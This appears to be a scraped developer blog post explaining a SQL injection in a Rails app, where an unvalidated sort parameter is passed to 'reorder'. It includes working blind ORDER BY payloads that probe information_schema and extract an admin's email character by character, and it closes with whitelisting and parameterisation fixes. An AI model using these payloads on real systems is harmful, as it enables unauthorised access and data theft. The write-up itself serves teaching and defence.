44
loading...
This website collects cookies to deliver better user experience
Sort
filter.<select name="order_filter" id="order_filter" class="form-control custom-select">
<option value="last_seen desc">Recent First</option>
<option value="created desc">Date Created ⬇</option>
<option value="created asc">Date Created ⬆</option>
<option value="title asc">A-Z</option>
<option value="title desc">Z-A</option>
</select>
value
look pretty similar to the SQL request part?”. I decided to take a deeper look into it and found that we definitely pass it as:scope = scope.filter_results(keyword: @keyword, state_filter: @state_filter, order_filter: params[:order_filter])
filter_results
is just a concern method that calls state_filter
and order_filter
on model if it exists.scope :keyword, -> (keyword) { where("title like ?", "%#{keyword}%") }
scope :state_filter, -> (state) { where( state: state ) }
scope :order_filter, -> (order_filter) { reorder(order_filter)} # <- IMPORTANT LINE
ActiveRecord::QueryMethods#reorder Replaces any existing order defined on the relation with the specified order. User.order(’email DESC’).reorder(‘id ASC’) # generated SQL has ‘ORDER BY id ASC’
Source: https://apidock.com/rails/ActiveRecord/QueryMethods/reorder
ORDER
SQL injection is a:(CASE WHEN condition THEN first_coumn_name ELSE second_column_name END)
SELECT IF (condition, first_column_name, second_column_name)
condition
(as a question), and two column names to see the result and put it as ORDER BY
value (like Yes
and No
answers).condition
part? Everything. Literally everything.SELECT IF ((SELECT count(*) FROM information_schema.columns
WHERE COLUMN_NAME = 'is_admin' AND table_name = 'users' LIMIT 1)>0, 'YES', 'NO');
is_admin
column in users
table it should return YES
.(SELECT IF ((SELECT count(*) FROM information_schema.columns
WHERE COLUMN_NAME = 'admin' AND table_name = 'users' LIMIT 1)>0, title, created_at))
is_admin
column in the users table. Let’s try just admin
instead:admin
column in our users
table.SELECT `table_1`.* FROM `table_1` WHERE `table_1`.`id` IN
(SELECT DISTINCT `table_2`.`deal_id` FROM `table_2` LEFT OUTER JOIN `team_members`
ON `team_members`.`cool_dude_id` = `table_2`.`id`
WHERE `table_2`.`state` != -1 AND (table_2.user_id=*** or team_members.user_id=***))
ORDER BY (SELECT IF ((SELECT count(*) FROM information_schema.columns
WHERE COLUMN_NAME = 'admin' AND table_name = 'users' LIMIT 1)>0, title, created_at))
email
of any admin user to get access to the system.SELECT IF ((SELECT ASCII(SUBSTRING(email, 1, 1)) FROM users where admin = true LIMIT 1)=105, title, created_at)
email
of the first admin equals 105
(I.e., the first symbol of email is i
).ASCII(SUBSTRING(email, 2, 1))
and find all symbols one by one.Rails is well enough protected from vulnerabilities, but nothing can save you from your own mistakes.
User.where(“name = ‘#{params[:name]'”)
.User.where([“name = ?”, “#{params[:name]}”])
or User.where({ name: params[:name] })
instead.ORDER_FILTERS = { title_asc: 'title asc', created_at_asc: 'created_at asc'}
scope = scope.filter_results(order_filter: ORDER_FILTERS[params[:order_filter]])